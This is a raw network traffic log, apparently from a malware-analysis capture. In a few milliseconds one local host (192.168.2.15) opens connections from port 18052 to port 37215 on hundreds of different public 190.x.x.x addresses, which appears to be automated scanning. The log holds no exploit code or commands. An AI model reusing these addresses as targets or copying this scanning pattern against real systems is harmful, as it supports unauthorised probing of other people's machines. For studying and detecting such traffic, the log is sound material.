Feb 19, 2024 18:36:22.006859064 CET	18052	37215	192.168.2.15	190.220.136.248
Feb 19, 2024 18:36:22.006880045 CET	18052	37215	192.168.2.15	190.34.26.250
Feb 19, 2024 18:36:22.006895065 CET	18052	37215	192.168.2.15	190.173.233.52
Feb 19, 2024 18:36:22.006918907 CET	18052	37215	192.168.2.15	190.68.113.79
Feb 19, 2024 18:36:22.006918907 CET	18052	37215	192.168.2.15	190.215.0.94
Feb 19, 2024 18:36:22.006943941 CET	18052	37215	192.168.2.15	190.175.38.120
Feb 19, 2024 18:36:22.006958008 CET	18052	37215	192.168.2.15	190.148.36.229
Feb 19, 2024 18:36:22.006980896 CET	18052	37215	192.168.2.15	190.190.66.190
Feb 19, 2024 18:36:22.006992102 CET	18052	37215	192.168.2.15	190.163.58.200
Feb 19, 2024 18:36:22.007013083 CET	18052	37215	192.168.2.15	190.33.5.61
Feb 19, 2024 18:36:22.007029057 CET	18052	37215	192.168.2.15	190.0.36.234
Feb 19, 2024 18:36:22.007044077 CET	18052	37215	192.168.2.15	190.44.109.183
Feb 19, 2024 18:36:22.007055044 CET	18052	37215	192.168.2.15	190.107.201.78
Feb 19, 2024 18:36:22.007075071 CET	18052	37215	192.168.2.15	190.227.79.128
Feb 19, 2024 18:36:22.007093906 CET	18052	37215	192.168.2.15	190.186.190.43
Feb 19, 2024 18:36:22.007110119 CET	18052	37215	192.168.2.15	190.250.61.109
Feb 19, 2024 18:36:22.007129908 CET	18052	37215	192.168.2.15	190.3.118.223
Feb 19, 2024 18:36:22.007145882 CET	18052	37215	192.168.2.15	190.137.145.91
Feb 19, 2024 18:36:22.007160902 CET	18052	37215	192.168.2.15	190.102.157.58
Feb 19, 2024 18:36:22.007177114 CET	18052	37215	192.168.2.15	190.110.110.224
Feb 19, 2024 18:36:22.007190943 CET	18052	37215	192.168.2.15	190.152.182.191
Feb 19, 2024 18:36:22.007205963 CET	18052	37215	192.168.2.15	190.76.174.11
Feb 19, 2024 18:36:22.007221937 CET	18052	37215	192.168.2.15	190.46.144.46
Feb 19, 2024 18:36:22.007246017 CET	18052	37215	192.168.2.15	190.191.62.242
Feb 19, 2024 18:36:22.007261038 CET	18052	37215	192.168.2.15	190.90.182.20
Feb 19, 2024 18:36:22.007273912 CET	18052	37215	192.168.2.15	190.54.221.240
Feb 19, 2024 18:36:22.007297993 CET	18052	37215	192.168.2.15	190.207.137.2
Feb 19, 2024 18:36:22.007308006 CET	18052	37215	192.168.2.15	190.159.62.32
Feb 19, 2024 18:36:22.007328987 CET	18052	37215	192.168.2.15	190.173.223.158
Feb 19, 2024 18:36:22.007343054 CET	18052	37215	192.168.2.15	190.137.112.60
Feb 19, 2024 18:36:22.007364988 CET	18052	37215	192.168.2.15	190.51.76.158
Feb 19, 2024 18:36:22.007379055 CET	18052	37215	192.168.2.15	190.228.252.250
Feb 19, 2024 18:36:22.007397890 CET	18052	37215	192.168.2.15	190.229.3.54
Feb 19, 2024 18:36:22.007407904 CET	18052	37215	192.168.2.15	190.23.112.170
Feb 19, 2024 18:36:22.007426023 CET	18052	37215	192.168.2.15	190.173.11.52
Feb 19, 2024 18:36:22.007447004 CET	18052	37215	192.168.2.15	190.172.46.41
Feb 19, 2024 18:36:22.007464886 CET	18052	37215	192.168.2.15	190.15.57.58
Feb 19, 2024 18:36:22.007478952 CET	18052	37215	192.168.2.15	190.139.156.56
Feb 19, 2024 18:36:22.007503033 CET	18052	37215	192.168.2.15	190.62.15.27
Feb 19, 2024 18:36:22.007513046 CET	18052	37215	192.168.2.15	190.117.231.252
Feb 19, 2024 18:36:22.007533073 CET	18052	37215	192.168.2.15	190.196.101.157
Feb 19, 2024 18:36:22.007549047 CET	18052	37215	192.168.2.15	190.87.127.164
Feb 19, 2024 18:36:22.007565975 CET	18052	37215	192.168.2.15	190.206.88.11
Feb 19, 2024 18:36:22.007580996 CET	18052	37215	192.168.2.15	190.174.102.160
Feb 19, 2024 18:36:22.007591009 CET	18052	37215	192.168.2.15	190.193.33.143
Feb 19, 2024 18:36:22.007613897 CET	18052	37215	192.168.2.15	190.228.86.18
Feb 19, 2024 18:36:22.007628918 CET	18052	37215	192.168.2.15	190.7.165.208
Feb 19, 2024 18:36:22.007648945 CET	18052	37215	192.168.2.15	190.255.236.108
Feb 19, 2024 18:36:22.007667065 CET	18052	37215	192.168.2.15	190.158.21.145
Feb 19, 2024 18:36:22.007684946 CET	18052	37215	192.168.2.15	190.156.33.178
Feb 19, 2024 18:36:22.007700920 CET	18052	37215	192.168.2.15	190.181.233.81
Feb 19, 2024 18:36:22.007714033 CET	18052	37215	192.168.2.15	190.64.100.156
Feb 19, 2024 18:36:22.007730007 CET	18052	37215	192.168.2.15	190.145.114.113
Feb 19, 2024 18:36:22.007745028 CET	18052	37215	192.168.2.15	190.182.7.29
Feb 19, 2024 18:36:22.007765055 CET	18052	37215	192.168.2.15	190.69.161.243
Feb 19, 2024 18:36:22.007781982 CET	18052	37215	192.168.2.15	190.208.149.179
Feb 19, 2024 18:36:22.007797956 CET	18052	37215	192.168.2.15	190.225.30.140
Feb 19, 2024 18:36:22.007811069 CET	18052	37215	192.168.2.15	190.125.79.50
Feb 19, 2024 18:36:22.007822990 CET	18052	37215	192.168.2.15	190.186.23.111
Feb 19, 2024 18:36:22.007846117 CET	18052	37215	192.168.2.15	190.180.133.49
Feb 19, 2024 18:36:22.007862091 CET	18052	37215	192.168.2.15	190.196.87.14
Feb 19, 2024 18:36:22.007873058 CET	18052	37215	192.168.2.15	190.221.109.60
Feb 19, 2024 18:36:22.007895947 CET	18052	37215	192.168.2.15	190.17.48.66
Feb 19, 2024 18:36:22.007911921 CET	18052	37215	192.168.2.15	190.217.116.187
Feb 19, 2024 18:36:22.007929087 CET	18052	37215	192.168.2.15	190.9.210.57
Feb 19, 2024 18:36:22.007941008 CET	18052	37215	192.168.2.15	190.227.2.208
Feb 19, 2024 18:36:22.007975101 CET	18052	37215	192.168.2.15	190.144.220.252
Feb 19, 2024 18:36:22.007977009 CET	18052	37215	192.168.2.15	190.237.136.219
Feb 19, 2024 18:36:22.007989883 CET	18052	37215	192.168.2.15	190.50.131.243
Feb 19, 2024 18:36:22.008002996 CET	18052	37215	192.168.2.15	190.160.37.227
Feb 19, 2024 18:36:22.008025885 CET	18052	37215	192.168.2.15	190.233.80.212
Feb 19, 2024 18:36:22.008044958 CET	18052	37215	192.168.2.15	190.138.64.131
Feb 19, 2024 18:36:22.008064985 CET	18052	37215	192.168.2.15	190.93.173.169
Feb 19, 2024 18:36:22.008079052 CET	18052	37215	192.168.2.15	190.244.244.63
Feb 19, 2024 18:36:22.008095980 CET	18052	37215	192.168.2.15	190.134.70.32
Feb 19, 2024 18:36:22.008110046 CET	18052	37215	192.168.2.15	190.247.134.56
Feb 19, 2024 18:36:22.008125067 CET	18052	37215	192.168.2.15	190.113.210.218
Feb 19, 2024 18:36:22.008143902 CET	18052	37215	192.168.2.15	190.125.4.2
Feb 19, 2024 18:36:22.008161068 CET	18052	37215	192.168.2.15	190.34.47.22
Feb 19, 2024 18:36:22.008173943 CET	18052	37215	192.168.2.15	190.38.93.180
Feb 19, 2024 18:36:22.008196115 CET	18052	37215	192.168.2.15	190.191.90.109
Feb 19, 2024 18:36:22.008213997 CET	18052	37215	192.168.2.15	190.149.4.32
Feb 19, 2024 18:36:22.008224010 CET	18052	37215	192.168.2.15	190.41.144.199
Feb 19, 2024 18:36:22.008241892 CET	18052	37215	192.168.2.15	190.109.155.23
Feb 19, 2024 18:36:22.008263111 CET	18052	37215	192.168.2.15	190.137.59.116
Feb 19, 2024 18:36:22.008277893 CET	18052	37215	192.168.2.15	190.127.201.2
Feb 19, 2024 18:36:22.008292913 CET	18052	37215	192.168.2.15	190.110.221.155
Feb 19, 2024 18:36:22.008311033 CET	18052	37215	192.168.2.15	190.65.239.150
Feb 19, 2024 18:36:22.008327007 CET	18052	37215	192.168.2.15	190.215.100.255
Feb 19, 2024 18:36:22.008342028 CET	18052	37215	192.168.2.15	190.50.251.116
Feb 19, 2024 18:36:22.008362055 CET	18052	37215	192.168.2.15	190.114.236.241
Feb 19, 2024 18:36:22.008377075 CET	18052	37215	192.168.2.15	190.155.188.70
Feb 19, 2024 18:36:22.008387089 CET	18052	37215	192.168.2.15	190.185.190.180
Feb 19, 2024 18:36:22.008411884 CET	18052	37215	192.168.2.15	190.211.5.14
Feb 19, 2024 18:36:22.008424044 CET	18052	37215	192.168.2.15	190.166.220.252
Feb 19, 2024 18:36:22.008441925 CET	18052	37215	192.168.2.15	190.240.31.77
Feb 19, 2024 18:36:22.008455992 CET	18052	37215	192.168.2.15	190.218.23.139
Feb 19, 2024 18:36:22.008481026 CET	18052	37215	192.168.2.15	190.52.59.125
Feb 19, 2024 18:36:22.008496046 CET	18052	37215	192.168.2.15	190.149.58.197
Feb 19, 2024 18:36:22.008511066 CET	18052	37215	192.168.2.15	190.238.190.19
Feb 19, 2024 18:36:22.008532047 CET	18052	37215	192.168.2.15	190.48.55.137
Feb 19, 2024 18:36:22.008542061 CET	18052	37215	192.168.2.15	190.88.223.199
Feb 19, 2024 18:36:22.008564949 CET	18052	37215	192.168.2.15	190.103.113.221
Feb 19, 2024 18:36:22.008579969 CET	18052	37215	192.168.2.15	190.230.10.82
Feb 19, 2024 18:36:22.008599043 CET	18052	37215	192.168.2.15	190.112.213.122
Feb 19, 2024 18:36:22.008614063 CET	18052	37215	192.168.2.15	190.184.141.77
Feb 19, 2024 18:36:22.008637905 CET	18052	37215	192.168.2.15	190.41.226.231
Feb 19, 2024 18:36:22.008656025 CET	18052	37215	192.168.2.15	190.240.201.27
Feb 19, 2024 18:36:22.008665085 CET	18052	37215	192.168.2.15	190.163.96.226
Feb 19, 2024 18:36:22.008687973 CET	18052	37215	192.168.2.15	190.204.20.168
Feb 19, 2024 18:36:22.008702040 CET	18052	37215	192.168.2.15	190.104.23.160
Feb 19, 2024 18:36:22.008719921 CET	18052	37215	192.168.2.15	190.66.192.37
Feb 19, 2024 18:36:22.008738995 CET	18052	37215	192.168.2.15	190.47.92.23
Feb 19, 2024 18:36:22.008759022 CET	18052	37215	192.168.2.15	190.214.144.216
Feb 19, 2024 18:36:22.008773088 CET	18052	37215	192.168.2.15	190.53.81.133
Feb 19, 2024 18:36:22.008785963 CET	18052	37215	192.168.2.15	190.104.80.60
Feb 19, 2024 18:36:22.008805037 CET	18052	37215	192.168.2.15	190.94.206.100
Feb 19, 2024 18:36:22.008826017 CET	18052	37215	192.168.2.15	190.140.141.213
Feb 19, 2024 18:36:22.008838892 CET	18052	37215	192.168.2.15	190.8.19.72
Feb 19, 2024 18:36:22.008853912 CET	18052	37215	192.168.2.15	190.55.17.175
Feb 19, 2024 18:36:22.008873940 CET	18052	37215	192.168.2.15	190.215.240.221
Feb 19, 2024 18:36:22.008893967 CET	18052	37215	192.168.2.15	190.251.228.225
Feb 19, 2024 18:36:22.008910894 CET	18052	37215	192.168.2.15	190.198.120.56
Feb 19, 2024 18:36:22.008930922 CET	18052	37215	192.168.2.15	190.25.155.65
Feb 19, 2024 18:36:22.008949995 CET	18052	37215	192.168.2.15	190.197.146.144
Feb 19, 2024 18:36:22.008968115 CET	18052	37215	192.168.2.15	190.255.192.134
Feb 19, 2024 18:36:22.008975983 CET	18052	37215	192.168.2.15	190.225.228.230
Feb 19, 2024 18:36:22.008997917 CET	18052	37215	192.168.2.15	190.239.170.38
Feb 19, 2024 18:36:22.009008884 CET	18052	37215	192.168.2.15	190.102.173.255
Feb 19, 2024 18:36:22.009028912 CET	18052	37215	192.168.2.15	190.83.67.152
Feb 19, 2024 18:36:22.009043932 CET	18052	37215	192.168.2.15	190.159.22.4
Feb 19, 2024 18:36:22.009063005 CET	18052	37215	192.168.2.15	190.170.219.89
Feb 19, 2024 18:36:22.009089947 CET	18052	37215	192.168.2.15	190.40.194.142
Feb 19, 2024 18:36:22.009089947 CET	18052	37215	192.168.2.15	190.64.204.250
Feb 19, 2024 18:36:22.009107113 CET	18052	37215	192.168.2.15	190.141.227.149
Feb 19, 2024 18:36:22.009125948 CET	18052	37215	192.168.2.15	190.85.34.126
Feb 19, 2024 18:36:22.009138107 CET	18052	37215	192.168.2.15	190.18.150.1
Feb 19, 2024 18:36:22.009155989 CET	18052	37215	192.168.2.15	190.0.186.21
Feb 19, 2024 18:36:22.009179115 CET	18052	37215	192.168.2.15	190.66.157.154
Feb 19, 2024 18:36:22.009196997 CET	18052	37215	192.168.2.15	190.25.226.205
Feb 19, 2024 18:36:22.009207010 CET	18052	37215	192.168.2.15	190.163.215.228
Feb 19, 2024 18:36:22.009227037 CET	18052	37215	192.168.2.15	190.25.8.254
Feb 19, 2024 18:36:22.009239912 CET	18052	37215	192.168.2.15	190.219.197.76
Feb 19, 2024 18:36:22.009262085 CET	18052	37215	192.168.2.15	190.151.45.52
Feb 19, 2024 18:36:22.009275913 CET	18052	37215	192.168.2.15	190.66.33.218
Feb 19, 2024 18:36:22.009298086 CET	18052	37215	192.168.2.15	190.60.85.130
Feb 19, 2024 18:36:22.009315014 CET	18052	37215	192.168.2.15	190.136.120.3
Feb 19, 2024 18:36:22.009331942 CET	18052	37215	192.168.2.15	190.138.203.8
Feb 19, 2024 18:36:22.009355068 CET	18052	37215	192.168.2.15	190.247.120.228
Feb 19, 2024 18:36:22.009362936 CET	18052	37215	192.168.2.15	190.13.19.25
Feb 19, 2024 18:36:22.009385109 CET	18052	37215	192.168.2.15	190.9.177.8
Feb 19, 2024 18:36:22.009402990 CET	18052	37215	192.168.2.15	190.145.19.55
Feb 19, 2024 18:36:22.009417057 CET	18052	37215	192.168.2.15	190.46.222.8
Feb 19, 2024 18:36:22.009439945 CET	18052	37215	192.168.2.15	190.30.112.105
Feb 19, 2024 18:36:22.009454012 CET	18052	37215	192.168.2.15	190.118.206.32
Feb 19, 2024 18:36:22.009469986 CET	18052	37215	192.168.2.15	190.33.67.56
Feb 19, 2024 18:36:22.009485006 CET	18052	37215	192.168.2.15	190.201.73.107
Feb 19, 2024 18:36:22.009500980 CET	18052	37215	192.168.2.15	190.233.36.234
Feb 19, 2024 18:36:22.009521008 CET	18052	37215	192.168.2.15	190.87.9.229
Feb 19, 2024 18:36:22.009535074 CET	18052	37215	192.168.2.15	190.146.139.134
Feb 19, 2024 18:36:22.009556055 CET	18052	37215	192.168.2.15	190.142.234.158
Feb 19, 2024 18:36:22.009569883 CET	18052	37215	192.168.2.15	190.135.110.124
Feb 19, 2024 18:36:22.009588957 CET	18052	37215	192.168.2.15	190.61.107.57
Feb 19, 2024 18:36:22.009604931 CET	18052	37215	192.168.2.15	190.131.150.196
Feb 19, 2024 18:36:22.009620905 CET	18052	37215	192.168.2.15	190.249.27.180
Feb 19, 2024 18:36:22.009634018 CET	18052	37215	192.168.2.15	190.240.187.116
Feb 19, 2024 18:36:22.009653091 CET	18052	37215	192.168.2.15	190.147.0.26
Feb 19, 2024 18:36:22.009670973 CET	18052	37215	192.168.2.15	190.97.214.174
Feb 19, 2024 18:36:22.009690046 CET	18052	37215	192.168.2.15	190.189.162.4
Feb 19, 2024 18:36:22.009706974 CET	18052	37215	192.168.2.15	190.108.197.63
Feb 19, 2024 18:36:22.009726048 CET	18052	37215	192.168.2.15	190.43.171.33
Feb 19, 2024 18:36:22.009741068 CET	18052	37215	192.168.2.15	190.190.241.31
Feb 19, 2024 18:36:22.009758949 CET	18052	37215	192.168.2.15	190.186.233.252
Feb 19, 2024 18:36:22.009773016 CET	18052	37215	192.168.2.15	190.172.66.104
Feb 19, 2024 18:36:22.009790897 CET	18052	37215	192.168.2.15	190.187.42.117
Feb 19, 2024 18:36:22.009826899 CET	18052	37215	192.168.2.15	190.180.113.111
Feb 19, 2024 18:36:22.009830952 CET	18052	37215	192.168.2.15	190.11.85.133
Feb 19, 2024 18:36:22.009843111 CET	18052	37215	192.168.2.15	190.230.44.25
Feb 19, 2024 18:36:22.009861946 CET	18052	37215	192.168.2.15	190.227.228.130
Feb 19, 2024 18:36:22.009881020 CET	18052	37215	192.168.2.15	190.199.120.248
Feb 19, 2024 18:36:22.009895086 CET	18052	37215	192.168.2.15	190.196.106.243
Feb 19, 2024 18:36:22.009916067 CET	18052	37215	192.168.2.15	190.35.176.134
Feb 19, 2024 18:36:22.009934902 CET	18052	37215	192.168.2.15	190.237.109.241
Feb 19, 2024 18:36:22.009951115 CET	18052	37215	192.168.2.15	190.79.159.24
Feb 19, 2024 18:36:22.009969950 CET	18052	37215	192.168.2.15	190.146.139.253
Feb 19, 2024 18:36:22.009988070 CET	18052	37215	192.168.2.15	190.200.153.134
Feb 19, 2024 18:36:22.010001898 CET	18052	37215	192.168.2.15	190.248.231.200
Feb 19, 2024 18:36:22.010020018 CET	18052	37215	192.168.2.15	190.145.11.25
Feb 19, 2024 18:36:22.010030031 CET	18052	37215	192.168.2.15	190.81.97.111
Feb 19, 2024 18:36:22.010052919 CET	18052	37215	192.168.2.15	190.250.47.153
Feb 19, 2024 18:36:22.010063887 CET	18052	37215	192.168.2.15	190.236.41.247
Feb 19, 2024 18:36:22.010083914 CET	18052	37215	192.168.2.15	190.5.18.158
Feb 19, 2024 18:36:22.010099888 CET	18052	37215	192.168.2.15	190.95.14.141
Feb 19, 2024 18:36:22.010113955 CET	18052	37215	192.168.2.15	190.247.174.147
Feb 19, 2024 18:36:22.010132074 CET	18052	37215	192.168.2.15	190.23.112.143
Feb 19, 2024 18:36:22.010149002 CET	18052	37215	192.168.2.15	190.208.206.35
Feb 19, 2024 18:36:22.010164976 CET	18052	37215	192.168.2.15	190.211.207.145
Feb 19, 2024 18:36:22.010176897 CET	18052	37215	192.168.2.15	190.157.134.235
Feb 19, 2024 18:36:22.010195017 CET	18052	37215	192.168.2.15	190.118.214.247
Feb 19, 2024 18:36:22.010211945 CET	18052	37215	192.168.2.15	190.146.76.82
Feb 19, 2024 18:36:22.010230064 CET	18052	37215	192.168.2.15	190.85.225.66
Feb 19, 2024 18:36:22.010246992 CET	18052	37215	192.168.2.15	190.17.145.8
Feb 19, 2024 18:36:22.010267019 CET	18052	37215	192.168.2.15	190.200.162.65
Feb 19, 2024 18:36:22.010282040 CET	18052	37215	192.168.2.15	190.226.102.18
Feb 19, 2024 18:36:22.010293961 CET	18052	37215	192.168.2.15	190.4.12.73
Feb 19, 2024 18:36:22.010317087 CET	18052	37215	192.168.2.15	190.13.79.36
Feb 19, 2024 18:36:22.010329962 CET	18052	37215	192.168.2.15	190.39.12.198
Feb 19, 2024 18:36:22.010350943 CET	18052	37215	192.168.2.15	190.101.64.72
Feb 19, 2024 18:36:22.010371923 CET	18052	37215	192.168.2.15	190.255.42.113
Feb 19, 2024 18:36:22.010390043 CET	18052	37215	192.168.2.15	190.143.144.218
Feb 19, 2024 18:36:22.010406971 CET	18052	37215	192.168.2.15	190.240.115.204
Feb 19, 2024 18:36:22.010423899 CET	18052	37215	192.168.2.15	190.142.185.190
Feb 19, 2024 18:36:22.010440111 CET	18052	37215	192.168.2.15	190.131.207.23
Feb 19, 2024 18:36:22.010453939 CET	18052	37215	192.168.2.15	190.248.200.243
Feb 19, 2024 18:36:22.010476112 CET	18052	37215	192.168.2.15	190.208.96.151
Feb 19, 2024 18:36:22.010514021 CET	18052	37215	192.168.2.15	190.153.78.36
Feb 19, 2024 18:36:22.010514975 CET	18052	37215	192.168.2.15	190.250.35.162
Feb 19, 2024 18:36:22.010525942 CET	18052	37215	192.168.2.15	190.189.155.207
Feb 19, 2024 18:36:22.010550976 CET	18052	37215	192.168.2.15	190.164.135.248
Feb 19, 2024 18:36:22.010569096 CET	18052	37215	192.168.2.15	190.138.18.17
Feb 19, 2024 18:36:22.010581017 CET	18052	37215	192.168.2.15	190.244.27.254
Feb 19, 2024 18:36:22.010603905 CET	18052	37215	192.168.2.15	190.191.80.251
Feb 19, 2024 18:36:22.010621071 CET	18052	37215	192.168.2.15	190.133.129.18
Feb 19, 2024 18:36:22.010637999 CET	18052	37215	192.168.2.15	190.76.135.130
Feb 19, 2024 18:36:22.010658979 CET	18052	37215	192.168.2.15	190.79.162.72
Feb 19, 2024 18:36:22.010673046 CET	18052	37215	192.168.2.15	190.105.123.153
Feb 19, 2024 18:36:22.010690928 CET	18052	37215	192.168.2.15	190.218.217.9
Feb 19, 2024 18:36:22.010700941 CET	18052	37215	192.168.2.15	190.39.120.122
Feb 19, 2024 18:36:22.010723114 CET	18052	37215	192.168.2.15	190.201.95.31
Feb 19, 2024 18:36:22.010740042 CET	18052	37215	192.168.2.15	190.81.13.198
Feb 19, 2024 18:36:22.010756969 CET	18052	37215	192.168.2.15	190.103.116.75
Feb 19, 2024 18:36:22.010768890 CET	18052	37215	192.168.2.15	190.67.235.9
Feb 19, 2024 18:36:22.010790110 CET	18052	37215	192.168.2.15	190.204.22.111
Feb 19, 2024 18:36:22.010806084 CET	18052	37215	192.168.2.15	190.92.90.173
Feb 19, 2024 18:36:22.010821104 CET	18052	37215	192.168.2.15	190.142.171.127
Feb 19, 2024 18:36:22.010834932 CET	18052	37215	192.168.2.15	190.25.225.40
Feb 19, 2024 18:36:22.010845900 CET	18052	37215	192.168.2.15	190.53.154.161
Feb 19, 2024 18:36:22.010867119 CET	18052	37215	192.168.2.15	190.136.234.206
Feb 19, 2024 18:36:22.010876894 CET	18052	37215	192.168.2.15	190.37.157.19
Feb 19, 2024 18:36:22.010889053 CET	18052	37215	192.168.2.15	190.106.147.73
Feb 19, 2024 18:36:22.010912895 CET	18052	37215	192.168.2.15	190.9.43.58
Feb 19, 2024 18:36:22.010931969 CET	18052	37215	192.168.2.15	190.16.135.14
Feb 19, 2024 18:36:22.010946989 CET	18052	37215	192.168.2.15	190.238.143.164
Feb 19, 2024 18:36:22.010968924 CET	18052	37215	192.168.2.15	190.32.150.204
Feb 19, 2024 18:36:22.010987997 CET	18052	37215	192.168.2.15	190.27.40.173
Feb 19, 2024 18:36:22.011006117 CET	18052	37215	192.168.2.15	190.104.101.35
Feb 19, 2024 18:36:22.011018038 CET	18052	37215	192.168.2.15	190.243.3.251
Feb 19, 2024 18:36:22.011035919 CET	18052	37215	192.168.2.15	190.207.231.211
Feb 19, 2024 18:36:22.011055946 CET	18052	37215	192.168.2.15	190.181.54.205
Feb 19, 2024 18:36:22.011073112 CET	18052	37215	192.168.2.15	190.232.73.160
Feb 19, 2024 18:36:22.011090994 CET	18052	37215	192.168.2.15	190.86.71.161
Feb 19, 2024 18:36:22.011106968 CET	18052	37215	192.168.2.15	190.243.65.201
Feb 19, 2024 18:36:22.011130095 CET	18052	37215	192.168.2.15	190.149.234.166
Feb 19, 2024 18:36:22.011141062 CET	18052	37215	192.168.2.15	190.90.61.120
Feb 19, 2024 18:36:22.011162043 CET	18052	37215	192.168.2.15	190.168.24.184
Feb 19, 2024 18:36:22.011178017 CET	18052	37215	192.168.2.15	190.202.81.131
Feb 19, 2024 18:36:22.011202097 CET	18052	37215	192.168.2.15	190.108.35.200
Feb 19, 2024 18:36:22.011229992 CET	18052	37215	192.168.2.15	190.206.24.144
Feb 19, 2024 18:36:22.011229992 CET	18052	37215	192.168.2.15	190.121.31.214
Feb 19, 2024 18:36:22.011240959 CET	18052	37215	192.168.2.15	190.24.123.140
Feb 19, 2024 18:36:22.011255980 CET	18052	37215	192.168.2.15	190.46.135.206
Feb 19, 2024 18:36:22.011266947 CET	18052	37215	192.168.2.15	190.112.182.114
Feb 19, 2024 18:36:22.011288881 CET	18052	37215	192.168.2.15	190.39.164.180
Feb 19, 2024 18:36:22.011302948 CET	18052	37215	192.168.2.15	190.250.92.179
Feb 19, 2024 18:36:22.011321068 CET	18052	37215	192.168.2.15	190.111.103.80
Feb 19, 2024 18:36:22.011341095 CET	18052	37215	192.168.2.15	190.159.106.8
Feb 19, 2024 18:36:22.011353970 CET	18052	37215	192.168.2.15	190.106.167.213
Feb 19, 2024 18:36:22.011373997 CET	18052	37215	192.168.2.15	190.76.3.83
Feb 19, 2024 18:36:22.011384964 CET	18052	37215	192.168.2.15	190.232.2.189
Feb 19, 2024 18:36:22.011404037 CET	18052	37215	192.168.2.15	190.104.3.140
Feb 19, 2024 18:36:22.011423111 CET	18052	37215	192.168.2.15	190.28.128.181
Feb 19, 2024 18:36:22.011441946 CET	18052	37215	192.168.2.15	190.234.141.160
Feb 19, 2024 18:36:22.011456013 CET	18052	37215	192.168.2.15	190.224.130.111
Feb 19, 2024 18:36:22.011473894 CET	18052	37215	192.168.2.15	190.84.204.127
Feb 19, 2024 18:36:22.011492968 CET	18052	37215	192.168.2.15	190.107.253.106
Feb 19, 2024 18:36:22.011507988 CET	18052	37215	192.168.2.15	190.238.254.13
Feb 19, 2024 18:36:22.011518955 CET	18052	37215	192.168.2.15	190.73.106.155
Feb 19, 2024 18:36:22.011532068 CET	18052	37215	192.168.2.15	190.254.29.4
Feb 19, 2024 18:36:22.011555910 CET	18052	37215	192.168.2.15	190.67.55.131
Feb 19, 2024 18:36:22.011570930 CET	18052	37215	192.168.2.15	190.184.35.221
Feb 19, 2024 18:36:22.011588097 CET	18052	37215	192.168.2.15	190.140.10.103
Feb 19, 2024 18:36:22.011598110 CET	18052	37215	192.168.2.15	190.241.254.168
Feb 19, 2024 18:36:22.011611938 CET	18052	37215	192.168.2.15	190.161.222.40
Feb 19, 2024 18:36:22.011631966 CET	18052	37215	192.168.2.15	190.83.82.200
Feb 19, 2024 18:36:22.011641026 CET	18052	37215	192.168.2.15	190.4.216.20
Feb 19, 2024 18:36:22.011656046 CET	18052	37215	192.168.2.15	190.216.10.54
Feb 19, 2024 18:36:22.011679888 CET	18052	37215	192.168.2.15	190.54.115.157
Feb 19, 2024 18:36:22.011693001 CET	18052	37215	192.168.2.15	190.181.91.117
Feb 19, 2024 18:36:22.011709929 CET	18052	37215	192.168.2.15	190.142.237.227
Feb 19, 2024 18:36:22.011723995 CET	18052	37215	192.168.2.15	190.135.116.192
Feb 19, 2024 18:36:22.011745930 CET	18052	37215	192.168.2.15	190.107.70.249
Feb 19, 2024 18:36:22.011760950 CET	18052	37215	192.168.2.15	190.134.242.169
Feb 19, 2024 18:36:22.011771917 CET	18052	37215	192.168.2.15	190.104.85.135
Feb 19, 2024 18:36:22.011785984 CET	18052	37215	192.168.2.15	190.241.14.180
Feb 19, 2024 18:36:22.011809111 CET	18052	37215	192.168.2.15	190.81.149.227
Feb 19, 2024 18:36:22.011822939 CET	18052	37215	192.168.2.15	190.151.0.37
Feb 19, 2024 18:36:22.011845112 CET	18052	37215	192.168.2.15	190.5.250.212
Feb 19, 2024 18:36:22.011857033 CET	18052	37215	192.168.2.15	190.172.206.51
Feb 19, 2024 18:36:22.011878014 CET	18052	37215	192.168.2.15	190.81.142.236
Feb 19, 2024 18:36:22.011892080 CET	18052	37215	192.168.2.15	190.110.81.28
Feb 19, 2024 18:36:22.011903048 CET	18052	37215	192.168.2.15	190.104.37.145
Feb 19, 2024 18:36:22.011924982 CET	18052	37215	192.168.2.15	190.33.132.186
Feb 19, 2024 18:36:22.011940002 CET	18052	37215	192.168.2.15	190.116.53.228
Feb 19, 2024 18:36:22.011950016 CET	18052	37215	192.168.2.15	190.146.176.218
Feb 19, 2024 18:36:22.011975050 CET	18052	37215	192.168.2.15	190.234.152.165
Feb 19, 2024 18:36:22.011985064 CET	18052	37215	192.168.2.15	190.196.65.144
Feb 19, 2024 18:36:22.012005091 CET	18052	37215	192.168.2.15	190.216.162.44
Feb 19, 2024 18:36:22.012021065 CET	18052	37215	192.168.2.15	190.208.237.174
Feb 19, 2024 18:36:22.012034893 CET	18052	37215	192.168.2.15	190.73.237.133
Feb 19, 2024 18:36:22.012057066 CET	18052	37215	192.168.2.15	190.17.239.216
Feb 19, 2024 18:36:22.012068987 CET	18052	37215	192.168.2.15	190.236.161.52
Feb 19, 2024 18:36:22.012087107 CET	18052	37215	192.168.2.15	190.253.87.172
Feb 19, 2024 18:36:22.012103081 CET	18052	37215	192.168.2.15	190.78.220.19
Feb 19, 2024 18:36:22.012125969 CET	18052	37215	192.168.2.15	190.95.188.156
Feb 19, 2024 18:36:22.012140989 CET	18052	37215	192.168.2.15	190.150.171.105
Feb 19, 2024 18:36:22.012162924 CET	18052	37215	192.168.2.15	190.35.46.51
Feb 19, 2024 18:36:22.012172937 CET	18052	37215	192.168.2.15	190.153.167.52
Feb 19, 2024 18:36:22.012186050 CET	18052	37215	192.168.2.15	190.199.164.142
Feb 19, 2024 18:36:22.012209892 CET	18052	37215	192.168.2.15	190.27.102.236
Feb 19, 2024 18:36:22.012223959 CET	18052	37215	192.168.2.15	190.232.21.33
Feb 19, 2024 18:36:22.012236118 CET	18052	37215	192.168.2.15	190.209.85.39
Feb 19, 2024 18:36:22.012262106 CET	18052	37215	192.168.2.15	190.247.188.42
Feb 19, 2024 18:36:22.012275934 CET	18052	37215	192.168.2.15	190.6.4.249
Feb 19, 2024 18:36:22.012290955 CET	18052	37215	192.168.2.15	190.17.135.183
Feb 19, 2024 18:36:22.012306929 CET	18052	37215	192.168.2.15	190.191.172.182
Feb 19, 2024 18:36:22.012322903 CET	18052	37215	192.168.2.15	190.152.2.50
Feb 19, 2024 18:36:22.012336969 CET	18052	37215	192.168.2.15	190.239.32.164
Feb 19, 2024 18:36:22.012353897 CET	18052	37215	192.168.2.15	190.22.98.11
Feb 19, 2024 18:36:22.012367964 CET	18052	37215	192.168.2.15	190.18.99.250
Feb 19, 2024 18:36:22.012386084 CET	18052	37215	192.168.2.15	190.13.250.224
Feb 19, 2024 18:36:22.012404919 CET	18052	37215	192.168.2.15	190.119.217.182
Feb 19, 2024 18:36:22.012418032 CET	18052	37215	192.168.2.15	190.30.222.207
Feb 19, 2024 18:36:22.012434006 CET	18052	37215	192.168.2.15	190.195.126.131
